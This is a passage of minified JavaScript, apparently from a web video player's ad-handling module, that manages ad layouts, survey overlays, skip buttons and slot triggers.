g.q.o2=function(){};
g.q.dW=function(){};
g.q.Cb=function(){};
g.q.Vl=function(){};
g.q.onFullscreenToggled=function(){};g.q=zdm.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.Xs=function(){E3("Should not get exitStateMachine for DAI");return new d4};
g.q.Cc=function(x,T){var t=this;uS(this.layout.clientMetadata,"metadata_type_player_bytes_callback_ref").current=this;this.k6=MKJ(this.slot,this.layout,uS(this.layout.clientMetadata,"metadata_type_player_vars"),x,T,uS(this.layout.clientMetadata,"metadata_type_video_length_seconds")*1E3,this.Iu.get(),this.y3.get(),function(){var u=Object,H=u.assign,I=IM(t.layout);var E=uS(t.slot.clientMetadata,"metadata_type_fulfilled_layout")||t.slot.fulfilledLayout;var Z=uS(E.clientMetadata,"metadata_type_sub_layouts")||
E.RC;E=Object.assign({},IM(E),{adPlacementConfig:uS(E.clientMetadata,"metadata_type_ad_placement_config"),subLayouts:(Z||[]).map(IM)});return H.call(u,{},{layoutType:"LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES"},I,{compositeLayout:E,hasSurveyOverlay:xv(t.layout.clientMetadata,"metadata_type_survey_overlay"),surveyOverlay:uS(t.layout.clientMetadata,"metadata_type_survey_overlay")})},this.RU.get());
this.IU.get().addListener(this);x=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds");T=uS(this.layout.clientMetadata,"metadata_type_active_view_traffic_type");Uu(this.layout.uN)&&o5(this.H9.get(),this.layout.layoutId,{Fl:T,Eb:x,listener:this});bP3(this.callback,this.slot,this.layout);rPD(this.callback,this.slot,this.layout)};
g.q.init=function(){var x=uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms"),T=uS(this.layout.clientMetadata,"metadata_type_layout_exit_ms");this.Cc(x,T)};
g.q.release=function(){this.IU.get().removeListener(this);Uu(this.layout.uN)&&tz(this.H9.get(),this.layout.layoutId);this.Lf.get();z2v(this.callback,this.slot,this.layout)};
g.q.startRendering=function(){var x=this;xv(this.layout.clientMetadata,"metadata_type_survey_overlay")&&sO(this.RU.get(),"ads_ssmlra_srs","lid."+this.layout.layoutId);if(this.EF)E3("Expected the layout not to be entered before start rendering",this.slot,this.layout,{hasSurveyOverlay:xv(this.layout.clientMetadata,"metadata_type_survey_overlay"),surveyOverlay:uS(this.layout.clientMetadata,"metadata_type_survey_overlay")});else{this.EF={xJ:null,KI:!1};this.C=!1;if(L1i(this.Lf.get())){var T;this.adCpn=
(T=AH(this.Bv.get(),2))==null?void 0:T.clientPlaybackNonce}this.Lf.get().U.Y().experiments.aU("html5_disable_sodar_for_tvhtml5")||AA3(this.slot,this.layout,this.JR.get());Uu(this.layout.uN)&&Qvf(this.H9.get(),this.layout.layoutId);this.eY.W9("start");if(Ss(this.Lf.get())){T=TB(this.IU.get());var t=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),u=I5(this.IU.get(),2,!1);Rdi(this.eY,this.EF.xJ,T,t,u,function(){return void Fwm(x,"teois")},AH(this.Bv.get(),1).Ty)}ri(this.callback,
this.slot,this.layout);
xv(this.layout.clientMetadata,"metadata_type_survey_overlay")&&sO(this.RU.get(),"ads_ssmlra_sre","lid."+this.layout.layoutId)}};
g.q.zy=function(x,T){var t=this;if(this.EF){if(Ss(this.Lf.get()))if(this.k6===null)E3("Unexpected media sub layout exited without a timeline playback ID");else{x=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds");var u=le3(this.IU.get(),this.k6);L1i(this.Lf.get())&&this.adCpn===void 0&&E3("Expected ad CPN in SSDAI macro data",this.slot,this.layout,{contentCpn:uS(this.layout.clientMetadata,"metadata_type_content_cpn")});lJq(this.eY,u,this.adCpn);$_(this.eY,null,this.EF.xJ,x,u,AH(this.Bv.get(),
1).Ty,function(H){return void kEf(t,H,"fue")},L1i(this.Lf.get()))}this.EF=null;
zZ(this.callback,this.slot,this.layout,this.C&&this.Lf.get().U.Y().B("dai_layout_log_skip_exit_reason")?"skipped":T)}else E3("Expected the layout to be entered before stop rendering",this.slot,this.layout)};
g.q.Yr=function(){};
g.q.NB=function(){};
g.q.Gc=function(x){var T=this;if(this.EF){if(G$(this.eY,"impression")){var t=TB(this.IU.get()),u=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds");H1(this.eY,t,x,this.EF.xJ,u,function(H){return void kEf(T,H,"tpaqe")})}this.EF.xJ=x}};
g.q.Vl=function(x){var T=this;if(this.EF){Ss(this.Lf.get())||this.EF.KI||(this.EF.KI=!0,x=new g.qa(x.state,new g.uZ));var t=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),u=I5(this.IU.get(),2,!1);u_(this.eY,this.EF.xJ,x,t,u,AH(this.Bv.get(),1).Ty,!Ss(this.Lf.get()),function(){return void Fwm(T,"teosc")})}};
g.q.onFullscreenToggled=function(x){Pc5(this.eY,x)};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.zC=function(){};
g.q.yb=function(x,T){var t;x=this.RU.get();var u="ti."+G$(this.eY,"impression")+";ts."+G$(this.eY,"skip")+";hp.",H;var I=!((H=this.eY.j.get("skip"))==null||!H.length);sO(x,"ads_dsr",u+I+";cpn."+uS(this.layout.clientMetadata,"metadata_type_content_cpn")+";acpn."+((t=AH(this.Bv.get(),2))==null?void 0:t.clientPlaybackNonce)+";sl."+(uS(T.clientMetadata,"metadata_type_linked_player_bytes_layout_id")===this.layout.layoutId));G$(this.eY,"impression")&&this.eY.W9("skip");T=AH(this.Bv.get(),1).Ty;this.C=!0;
this.Iu.get().Rq(T)||(this.C=!1,E3("Unexpected failure to skip a server stitched ad",this.slot,this.layout))};
g.q.onVolumeChange=function(){};
g.q.bN=function(){};
g.q.Ts=function(){};
g.q.aY=function(){};
g.q.KA=function(){};
g.q.Sr=function(){SM3(this.eY)};
g.q.uL=function(){cAm(this.eY)};
g.q.Lu=function(){YM3(this.eY)};
g.q.xR=function(){Uk5(this.eY)};
g.q.Ku=function(){blX(this.eY)};
g.q.dw=function(){rAi(this.eY)};
g.q.AI=function(){};
g.q.JI=function(){};g.P(EO,x_);g.q=EO.prototype;
g.q.Cc=function(){var x=this;uS(this.layout.clientMetadata,"metadata_type_player_bytes_callback_ref").current=this;var T=uS(this.layout.clientMetadata,"metadata_type_layout_enter_ms"),t=uS(this.layout.clientMetadata,"metadata_type_layout_exit_ms");this.k6=MKJ(this.slot,this.layout,uS(this.layout.clientMetadata,"metadata_type_player_vars"),T,t,uS(this.layout.clientMetadata,"metadata_type_video_length_seconds")*1E3,this.Iu.get(),this.y3.get(),function(){return{layoutType:"LAYOUT_TYPE_MEDIA",enterMs:T,
exitMs:t,adPlacementConfig:uS(x.layout.clientMetadata,"metadata_type_ad_placement_config")}},this.RU.get());
var u=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),H=uS(this.layout.clientMetadata,"metadata_type_active_view_traffic_type");Uu(this.layout.uN)&&o5(this.H9.get(),this.layout.layoutId,{Fl:H,Eb:u,listener:this})};
g.q.ww=function(){Uu(this.layout.uN)&&tz(this.H9.get(),this.layout.layoutId)};
g.q.ZF=function(){var x=this;if(this.EF)E3("Expected the layout not to be entered before start rendering",this.slot,this.layout);else if(this.EF={xJ:null,KI:!1},AA3(this.slot,this.layout,this.JR.get()),this.eY.W9("start"),Ss(this.Lf.get())){var T=TB(this.IU.get()),t=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),u=I5(this.IU.get(),2,!1);Rdi(this.eY,this.EF.xJ,T,t,u,function(){return void hdC(x,"teois")},!1)}};
g.q.cQ=function(){var x=this;if(this.EF){if(Ss(this.Lf.get()))if(this.k6===null)E3("Unexpected single media layout exited without a timeline playback ID");else{var T=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),t=le3(this.IU.get(),this.k6);lJq(this.eY,t);$_(this.eY,null,this.EF.xJ,T,t,!1,function(u){return void vKi(x,u,"fue")})}this.EF=null}else E3("Expected the layout to be entered before stop rendering",this.slot,this.layout)};
g.q.Cb=function(x){var T=this;if(this.EF){if(G$(this.eY,"impression")){var t=TB(this.IU.get()),u=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds");H1(this.eY,t,x,this.EF.xJ,u,function(H){return void vKi(T,H,"tpaqe")})}this.EF.xJ=x}};
g.q.Vl=function(x){var T=this;if(this.EF){Ss(this.Lf.get())||this.EF.KI||(this.EF.KI=!0,x=new g.qa(x.state,new g.uZ));var t=uS(this.layout.clientMetadata,"metadata_type_video_length_seconds"),u=I5(this.IU.get(),2,!1);u_(this.eY,this.EF.xJ,x,t,u,!1,!Ss(this.Lf.get()),function(){return void hdC(T,"teosc")})}};
g.q.onFullscreenToggled=function(x){Pc5(this.eY,x)};
g.q.Sr=function(){SM3(this.eY)};
g.q.uL=function(){cAm(this.eY)};
g.q.Lu=function(){YM3(this.eY)};
g.q.xR=function(){Uk5(this.eY)};
g.q.Ku=function(){blX(this.eY)};
g.q.dw=function(){rAi(this.eY)};qU.prototype.build=function(x,T,t,u){if(xv(t.clientMetadata,"metadata_type_dai")){var H=uS(u.clientMetadata,"metadata_type_ad_placement_config");KH(u,{yI:"metadata_type_video_length_seconds metadata_type_player_vars metadata_type_layout_enter_ms metadata_type_layout_exit_ms metadata_type_player_bytes_callback_ref metadata_type_content_cpn".split(" "),jV:["LAYOUT_TYPE_MEDIA"]})&&H!==void 0?(H=new z$(u.uN,this.RU,H,u.layoutId,null),H=new EO(x,t,u,this.Bv,this.Iu,this.y3,this.CF,this.IU,H,this.RU,this.JR,
this.C,this.H9,this.Lf)):H=null;if(H)return H;a:{var I,E=(I=u.RC)!=null?I:uS(u.clientMetadata,"metadata_type_sub_layouts");H=uS(u.clientMetadata,"metadata_type_ad_placement_config");if(KH(u,{yI:["metadata_type_layout_enter_ms","metadata_type_drift_recovery_ms","metadata_type_layout_exit_ms"],jV:["LAYOUT_TYPE_COMPOSITE_PLAYER_BYTES"]})&&E!==void 0&&H!==void 0){I=[];E=g.S(E);for(var Z=E.next();!Z.done;Z=E.next()){Z=Z.value;var e=uS(Z.clientMetadata,"metadata_type_media_sub_layout_index");if(!KH(Z,{yI:"metadata_type_video_length_seconds metadata_type_player_vars metadata_type_layout_enter_ms metadata_type_layout_exit_ms metadata_type_player_bytes_callback_ref metadata_type_content_cpn".split(" "),
jV:["LAYOUT_TYPE_MEDIA"]})||e===void 0){x=null;break a}e=new z$(Z.uN,this.RU,H,Z.layoutId,e);I.push(new zdm(T,t,Z,this.Iu,e,this.IU,this.y3,this.H9,this.JR,this.Lf,this.RU,this.Bv))}T=new z$(u.uN,this.RU,H,u.layoutId);x=new tO(x,t,u,this.Bv,this.Iu,this.CF,this.IU,T,this.RU,this.C,I)}else x=null}if(x)return x}else if(x=j35(x,T,t,u,this.jg,this.Ao,this.Am,this.RU,this.H9,this.JR,this.EY,this.Bv,this.IU,this.Gs,this.MU,this.au,this.Rf,this.Ai,this.Lf,this.Iu,this.context,this.WM))return x;throw new th("Unsupported layout with type: "+
u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in PlayerBytesLayoutRenderingAdapterFactory.");};Zf.prototype.build=function(x,T,t,u){if(x=j35(x,T,t,u,this.jg,this.Ao,this.Am,this.RU,this.H9,this.JR,this.EY,this.Bv,this.IU,this.Gs,this.MU,this.au,this.Rf,this.Ai,this.Lf,this.Iu,this.context,this.WM))return x;throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in PlayerBytesVodOnlyLayoutRenderingAdapterFactory.");};g.P(VK5,u9);g.P(jI,R7);jI.prototype.startRendering=function(x){var T=Pv(this.eY),t={adsClientData:this.layout.FV};this.C.push(new VK5(uS(this.layout.clientMetadata,"metadata_type_valid_survey_text_interstitial_renderer"),T,this.wy().layoutId,t));R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x)};
jI.prototype.lq=function(x,T){T!==this.layout.layoutId||x!=="survey-interstitial"&&x!=="button"||((x=uS(this.layout.clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref").current)?x.yb(this.slot,this.layout):E3("Tried to skip SurveyInterstitial but PlayerBytes callback is null"))};
jI.prototype.oU=function(){R7.prototype.oU.call(this)};var l_=new g.lu(320,63);g.P(MU,u9);g.P(AO,R7);g.q=AO.prototype;g.q.Gc=function(){};
g.q.Vl=function(){};
g.q.onFullscreenToggled=function(){};
g.q.M0=function(x){x&&BA(this.K,this.layout)};
g.q.VY=function(){};
g.q.zC=function(x){var T=dL(this.layout);if(this.N=mY(x,mbv(this.IU.get())))T.onErrorCommand&&this.Rf.get().executeCommand(T.onErrorCommand,this.layout.layoutId),BA(this.K,this.layout)};
g.q.onVolumeChange=function(){};
g.q.fq=function(){return this.wy().layoutId};
g.q.VK=function(){return this.N};
g.q.lq=function(x){this.T.lq(x);x==="in_video_overlay_close_button"&&BA(this.K,this.layout)};
g.q.TZ=function(x){x==="invideo-overlay"&&BA(this.K,this.layout)};
g.q.E$=function(){this.T.E$()};
g.q.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x);this.D.q4=this};
g.q.zy=function(x,T){R7.prototype.zy.call(this,x,T);pL(this.D,this)};
g.q.init=function(){R7.prototype.init.call(this);$bX(this.RU.get(),this);this.IU.get().addListener(this);this.C.push(new MU(dL(this.layout),Pv(this.eY),this.layout.layoutId,{adsClientData:this.layout.FV}))};
g.q.release=function(){R7.prototype.release.call(this);this.IU.get().removeListener(this);HJX(this.RU.get(),this)};
g.q.AI=function(){};
g.q.JI=function(){};g.P(RM,R7);g.q=RM.prototype;g.q.init=function(){R7.prototype.init.call(this);$bX(this.RU.get(),this);this.IU.get().addListener(this);this.C.push(new MU(dL(this.layout),Pv(this.eY),this.layout.layoutId,{adsClientData:this.layout.FV}))};
g.q.E$=function(){this.T.E$()};
g.q.startRendering=function(x){R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x);this.D.q4=this};
g.q.zy=function(x,T){R7.prototype.zy.call(this,x,T);pL(this.D,this)};
g.q.lq=function(x){this.T.lq(x);x==="in_video_overlay_close_button"&&BA(this.K,this.layout)};
g.q.Fq=function(x){if(x==="invideo-overlay"){x=B8f(this.J,this.layout);x=g.S(x);for(var T=x.next();!T.done;T=x.next())T.value.stop()}};
g.q.TZ=function(x){x==="invideo-overlay"&&BA(this.K,this.layout)};
g.q.q6=function(x){if(x==="invideo-overlay"){x=B8f(this.J,this.layout);x=g.S(x);for(var T=x.next();!T.done;T=x.next())T.value.start()}};
g.q.Gc=function(){};
g.q.Vl=function(){};
g.q.onFullscreenToggled=function(){};
g.q.M0=function(x){x&&BA(this.K,this.layout)};
g.q.VY=function(){};
g.q.zC=function(x){var T=dL(this.layout),t=T.contentSupportedRenderer.imageOverlayAdContentRenderer,u=mbv(this.IU.get());a:{t=t.image;t=t===void 0?null:t;if(t!=null&&(t=t.thumbnail,t!=null&&t.thumbnails!=null&&t.thumbnails.length!=0&&t.thumbnails[0].width!=null&&t.thumbnails[0].height!=null)){t=new g.lu(t.thumbnails[0].width||0,t.thumbnails[0].height||0);break a}t=new g.lu(0,0)}if(this.N=mY(x,u,t))T.onErrorCommand&&this.Rf.get().executeCommand(T.onErrorCommand,this.layout.layoutId),BA(this.K,this.layout)};
g.q.onVolumeChange=function(){};
g.q.fq=function(){return this.wy().layoutId};
g.q.VK=function(){return this.N};
g.q.release=function(){R7.prototype.release.call(this);this.IU.get().removeListener(this);HJX(this.RU.get(),this)};
g.q.AI=function(){};
g.q.JI=function(){};P1.prototype.lq=function(x){x==="ad-info-hover-text-button"&&((this.C=this.IU.get().z2(1))||this.IU.get().pauseVideo())};
P1.prototype.E$=function(){this.C||this.IU.get().resumeVideo(1)};g.P(a1m,u9);g.P(SI,R7);g.q=SI.prototype;g.q.init=function(){R7.prototype.init.call(this);this.IU.get().addListener(this)};
g.q.startRendering=function(x){var T=uS(this.layout.clientMetadata,"METADATA_TYPE_VALID_INSTREAM_SURVEY_AD_RENDERER_FOR_VOD");this.C.push(new a1m(T,this.layout.layoutId,{adsClientData:this.layout.FV}));R7.prototype.startRendering.call(this,x);this.callback.bN(this.slot,x)};
g.q.bN=function(){};
g.q.lq=function(x,T){T!==this.layout.layoutId||x!=="ad-info-icon-button"&&x!=="ad-info-dialog-close-button"||((T=uS(this.layout.clientMetadata,"metadata_type_player_bytes_layout_controls_callback_ref").current)?x==="ad-info-icon-button"?T.aY(this.slot,this.layout):x==="ad-info-dialog-close-button"&&T.KA(this.slot,this.layout):E3("Tried to use LayoutControlsCallback on Survey but it is null",this.slot,this.layout,{ComponentType:x}))};
g.q.zC=function(x){x.width<450&&BA(this.K,this.layout)};
g.q.onVolumeChange=function(){};
g.q.Gc=function(){};
g.q.onFullscreenToggled=function(){};
g.q.M0=function(){};
g.q.VY=function(){};
g.q.Vl=function(){};
g.q.AI=function(){};
g.q.JI=function(){};
g.q.oU=function(){R7.prototype.oU.call(this)};
g.q.release=function(){R7.prototype.release.call(this);this.IU.get().removeListener(this)};gK4.prototype.build=function(x,T,t,u){if(T=Z6(x,t,u,this.UF,this.IU,this.RU,this.K,this.C,this.Lf))return T;if(KH(u,nKf()))return new RM(t,u,this.RU,this.H9,this.UF,x,this.Z,this.j,this.IU,this.Rf,this.Lf,this.C,new P1(this.IU));if(KH(u,LwX()))return new AO(t,u,this.RU,this.H9,this.UF,x,this.Z,this.IU,this.Rf,this.Lf,this.C,new P1(this.IU));if(KH(u,{yI:["METADATA_TYPE_VALID_INSTREAM_SURVEY_AD_RENDERER_FOR_VOD"],jV:["LAYOUT_TYPE_SURVEY"]}))return new SI(t,u,x,this.UF,this.Z,this.IU,this.Lf);if(KH(u,
{yI:["metadata_type_player_bytes_layout_controls_callback_ref","metadata_type_valid_survey_text_interstitial_renderer","metadata_type_ad_placement_config"],jV:["LAYOUT_TYPE_VIDEO_INTERSTITIAL_BUTTONED_LEFT"]}))return new jI(t,u,x,this.UF,this.RU);if(KH(u,pav()))return new $X(t,u,x,this.UF,this.IU,this.Lf);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in WebDesktopMainInPlayerLayoutRenderingAdapterFactory.");};BO5.prototype.build=function(x,T,t,u){if(T=Z6(x,t,u,this.UF,this.IU,this.RU,this.K,this.C,this.Lf))return T;if(KH(u,nKf()))return new RM(t,u,this.RU,this.H9,this.UF,x,this.Z,this.j,this.IU,this.Rf,this.Lf,this.C,new P1(this.IU));if(KH(u,LwX()))return new AO(t,u,this.RU,this.H9,this.UF,x,this.Z,this.IU,this.Rf,this.Lf,this.C,new P1(this.IU));throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in WebEmbeddedInPlayerLayoutRenderingAdapterFactory.");
};g.P(c1,sq);c1.prototype.startRendering=function(x){sq.prototype.startRendering.call(this,x);if(x.renderingContent?y35(x,AH(this.Bv.get(),2)||void 0):uS(this.layout.clientMetadata,"metadata_ad_video_is_listed"))x=x.renderingContent?DSf(x,AH(this.Bv.get(),2)||void 0):uS(this.layout.clientMetadata,"metadata_type_ad_info_ad_metadata"),this.Ms.get().U.XW("onAdMetadataAvailable",x)};DkX.prototype.build=function(x,T,t,u){if(KH(u,WwC())||u.layoutType==="LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY"&&g.N(u.renderingContent,iF)!==void 0)return new c1(x,t,u,this.UF,this.IU,this.RU,this.Z,this.Ms,this.C,this.Bv);throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in WebRemixInPlayerLayoutRenderingAdapterFactory.");};yAC.prototype.build=function(x,T,t,u){if(KH(u,WwC()))return new c1(x,t,u,this.UF,this.IU,this.RU,this.Z,this.Ms,this.C,this.Bv);if(x=Z6(x,t,u,this.UF,this.IU,this.RU,this.Z,this.C,this.Lf))return x;throw new th("Unsupported layout with type: "+u.layoutType+" and client metadata: "+$v(u.clientMetadata)+" in WebUnpluggedInPlayerLayoutRenderingAdapterFactory.");};CV.prototype.clone=function(x){var T=this;return new CV(function(){return T.triggerId},x)};Qk.prototype.clone=function(x){var T=this;return new Qk(function(){return T.triggerId},x)};pV.prototype.clone=function(x){var T=this;return new pV(function(){return T.triggerId},x)};OO.prototype.clone=function(x){var T=this;return new OO(function(){return T.triggerId},x)};fV.prototype.clone=function(x){var T=this;return new fV(function(){return T.triggerId},x)};wL.prototype.clone=function(x){var T=this;return new wL(function(){return T.triggerId},x)};g.P(gz,g.W);var sOv={WVdDU7FEFNo:15,"c-6Sb-muKCY":6,"O9f9wIR-UI8":6,"JNL-wFYNAP0":15,dLYcTkdHPNA:15,ZdVP0_LJZUE:15,VXcUXyDNdEI:15,VGQ8C9uQc_I:15,"o2HqYt-U7YU":15,rwNqPgKVbus:15,ATgzDto2XcY:15,attyPCCLlC4:15,w3aSYOeWyYU:15,wZMtuR2zzRA:30,e3TvPYADCQA:15,eMOw2R8yUHg:15,"6lLyZenufEY":15,"4q_FdWfUxR4":15,"3NOPsNQV0zY":15,IcEJuv4zMSI:15,"8Eo9vaW_CqY":15,O0DMDUDJK88:15,wnboazT1Lio:15,ZfRdOlbXmog:5,"X-sKfjrb7uc":15,RCVZbiJbZA0:6,"7syqtZsUUwY":15,OrlZSFgzFVA:15,ulrgBGVttFg:15,"1qC82K99ecI":15,E9lmhFAK78w:30,QSJFJNk_VSg:15,
"i-8wX-g3FjI":30,vgSkhTaAP6U:15,iqslKcmG9zA:15,VkNDKDDDSWA:15,"2-Sj3oWDJCk":6,z4zsVPqUVnc:15,xKc7UMf8V4s:15,wwrWuIYPaDE:6,"_5NVge-Kmpk":6,"eUdn6DcJx-4":6,gxvBLc_C6Io:15,O40oPma0obU:15,"6xXRRLxj3DA":15,T5sMvex24Os:15,"74ccAT84jIY":15,"YTlgTC-KM2U":15,XxcipO9EBWc:15,zI7xwG4M62k:15,XrUrvpDMmOk:15,H5KIgG21WjA:15,R94pfM1wcac:6,"TD0-7fMqNOE":5,_evnWGoDAT8:15,Wov4GF3oUSM:6,DKcQEuGWmp4:15,kp4aH06VQBg:15,CI3LdgGodUw:15,lcQzcg6e73Y:15};var un={layoutExitMuteTriggers:[],layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],Aq:[],layoutExitUserInputSubmittedTriggers:[]};var gs={aV7:1,WO7:2,Xmf:3,1:"LOAD_POLICY_ALWAYS",2:"LOAD_POLICY_BY_PREFERENCE",3:"LOAD_POLICY_BY_REQUEST"};g.P(PA,g.W);g.q=PA.prototype;g.q.Rt=function(x){if(this.C)E3("Unexpected multiple fetch instructions for the current content");else{this.C=x;x=g.S(this.CF.get().SB);for(var T=x.next();!T.done;T=x.next())SvX(this,this.C,T.value)}};
g.q.mW=function(x){if(!this.C){var T;(T=this.Iu)==null||T.get().vY(x.identifier);return!1}SvX(this,this.C,x);return!0};
g.q.It=function(){};
g.q.w_=function(x){this.C&&this.C.contentCpn!==x&&(E3("Fetch instructions carried over from previous content video",void 0,void 0,{contentCpn:x,fetchInstructionsCpn:this.C.contentCpn}),this.C=null)};
g.q.Sf=function(x){this.C&&this.C.contentCpn!==x&&E3("Expected content video of the current fetch instructions to end",void 0,void 0,{contentCpn:x,fetchInstructionsCpn:this.C.contentCpn},!0);this.C=null};
g.q.oU=function(){g.W.prototype.oU.call(this);this.C=null};var Ph=["metadata_type_content_cpn","metadata_type_player_bytes_callback_ref","metadata_type_instream_ad_player_overlay_renderer","metadata_type_ad_placement_config"],gZy=["metadata_type_content_cpn","metadata_type_player_bytes_callback_ref","metadata_type_player_overlay_layout_renderer","metadata_type_ad_placement_config"];g.P(Ys,g.W);g.q=Ys.prototype;g.q.bN=function(x,T){var t=this;if(T.layoutType==="LAYOUT_TYPE_MEDIA"&&(TZ(T,this.D)||TZ(T,gZy))){var u=AH(this.Bv.get(),2),H=this.K(T,u||void 0);H?mx(this.j.get(),"OPPORTUNITY_TYPE_PLAYER_BYTES_MEDIA_LAYOUT_ENTERED",function(){var I=[eQJ(t.C.get(),H.contentCpn,H.gt,function(E){return t.T(E.slotId,"core",H,qN(t.xx.get(),E))},H.inPlayerSlotId)];
H.instreamAdPlayerUnderlayRenderer&&xs(t.Lf.get())&&I.push(bc3(t,H,H.instreamAdPlayerUnderlayRenderer));return I}):E3("Expected MediaLayout to carry valid opportunity on entered",x,T)}};
g.q.Ji=function(){};
g.q.BM=function(){};
g.q.Ri=function(){};
g.q.RT=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(){};
g.q.yl=function(){};
g.q.s0=function(){};
g.q.Ts=function(){};g.P(U8,g.W);U8.prototype.w_=function(x,T,t,u,H,I,E){var Z=this,e=AH(this.Bv.get(),1);!pG(this.Lf.get(),"html5_ssap_play_cached_preroll")&&e.zi?it(this.IU.get()):(hT3(this.MU.get(),u),mx(this.Z.get(),"OPPORTUNITY_TYPE_PLAYER_RESPONSE_RECEIVED",function(){return bnq(Z.C.get(),u,H,I,x,T,E,e,"")}),Vlm(this.j))};
U8.prototype.Sf=function(){};g.P(bn,g.W);g.P(rZ,g.W);rZ.prototype.onCueRangeEnter=function(){};
rZ.prototype.onCueRangeExit=function(x){var T=this,t=this.C.get(x);t&&(this.C.delete(x),this.Gs.get().removeCueRange(x),mx(this.Z.get(),"OPPORTUNITY_TYPE_THROTTLED_AD_BREAK_REQUEST_SLOT_REENTRY",function(){var u=T.j.get();u=d6(u.Z.get(),"SLOT_TYPE_AD_BREAK_REQUEST");return[Object.assign({},t,{slotId:u,slotEntryTrigger:t.slotEntryTrigger?plf(t.slotId,u,t.slotEntryTrigger):void 0,slotFulfillmentTriggers:Oci(t.slotId,u,t.slotFulfillmentTriggers),slotExpirationTriggers:Oci(t.slotId,u,t.slotExpirationTriggers)})]},
t.slotId))};
rZ.prototype.w_=function(){for(var x=g.S(this.C.keys()),T=x.next();!T.done;T=x.next())T=T.value,this.Gs.get().removeCueRange(T);this.C.clear()};
rZ.prototype.Sf=function(){};g.P(zz,g.W);g.q=zz.prototype;g.q.Ji=function(){};
g.q.BM=function(x){var T=this;g.wx(g.XM(),function(){var t=T.C.get(x);t&&E3("Expected layouts to be properly unscheduled",x,void 0,{slotType:x.slotType,layoutTypes:[].concat(g.U(t)).map(function(u){return u.layoutType})})},0)};
g.q.Ri=function(){};
g.q.RT=function(){};
g.q.fF=function(){};
g.q.fK=function(){};
g.q.nK=function(){};
g.q.LK=function(x,T){this.C.has(x)||this.C.set(x,new Set);this.C.get(x).add(T)};
g.q.yl=function(x,T){this.PE.has(x)&&this.PE.get(x)===T&&E3("Unscheduled a Layout that is currently entered.",x,T);if(this.C.has(x)){var t=this.C.get(x);t.has(T)?(t.delete(T),t.size===0&&this.C.delete(x)):E3("Trying to unscheduled a Layout that was not scheduled.",x,T)}else E3("Trying to unscheduled a Layout that was not scheduled.",x,T)};
g.q.bN=function(x,T){this.PE.set(x,T)};
g.q.Ts=function(x){this.PE.delete(x)};
g.q.s0=function(){};g.q=z6H.prototype;g.q.init=function(){};
g.q.e8=function(){return this.slot};
g.q.AV=function(){this.callback.Ri(this.slot)};
g.q.Vn=function(){this.callback.fF(this.slot)};
g.q.release=function(){};vA.prototype.build=function(x,T){return new z6H(x,T)};g.q=kXX.prototype;g.q.init=function(){};
g.q.e8=function(){return this.slot};
g.q.AV=function(){Eg(this.IU.get(),"ad-showing");this.callback.Ri(this.slot)};
g.q.Vn=function(){this.callback.fF(this.slot);qs(this.IU.get(),"ad-showing")};
g.q.release=function(){};g.q=Fbi.prototype;g.q.init=function(){};
g.q.e8=function(){return this.slot};
g.q.AV=function(){Eg(this.IU.get(),"ad-showing");Eg(this.IU.get(),"ad-interrupting");this.Z=this.IU.get().isAtLiveHead();this.C=Math.ceil(Date.now()/1E3);this.callback.Ri(this.slot)};
g.q.Vn=function(){qs(this.IU.get(),"ad-showing");qs(this.IU.get(),"ad-interrupting");var x=this.Z?Infinity:I5(this.IU.get(),1,!0)+Math.floor(Date.now()/1E3)-this.C;this.IU.get().U.seekTo(x,void 0,void 0,1);this.callback.fF(this.slot)};
g.q.release=function(){};g.q=h63.prototype;g.q.init=function(){};
g.q.e8=function(){return this.slot};
g.q.AV=function(){Eg(this.IU.get(),"ad-showing");Eg(this.IU.get(),"ad-interrupting");this.callback.Ri(this.slot)};
g.q.Vn=function(){it(this.IU.get());qs(this.IU.get(),"ad-showing");qs(this.IU.get(),"ad-interrupting");this.callback.fF(this.slot)};
g.q.release=function(){it(this.IU.get())};Vy.prototype.build=function(x,T){if(Hq(T,["metadata_type_dai"],"SLOT_TYPE_PLAYER_BYTES"))return new kXX(x,T,this.IU);if(T.slotEntryTrigger instanceof aM&&Hq(T,["metadata_type_served_from_live_infra"],"SLOT_TYPE_PLAYER_BYTES"))return new Fbi(x,T,this.IU);if(Hq(T,[],"SLOT_TYPE_PLAYER_BYTES"))return new h63(x,T,this.IU);throw new w("Unsupported slot with type "+T.slotType+" and client metadata: "+($v(T.clientMetadata)+" in PlayerBytesSlotAdapterFactory."));};g.P(Gz,g.W);Gz.prototype.C=function(x){for(var T=[],t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next()){u=u.value;var H=u.trigger;H instanceof JO&&u.category==="TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED"&&H.triggeringLayoutId===x&&T.push(u)}T.length?kv(this.s3(),T):E3("Mute requested but no registered triggers can be activated.")};g.P(nF,Gz);g.q=nF.prototype;g.q.lq=function(x,T){if(T)if(x==="skip-button"){x=[];for(var t=g.S(this.fz.values()),u=t.next();!u.done;u=t.next()){u=u.value;var H=u.trigger;H instanceof 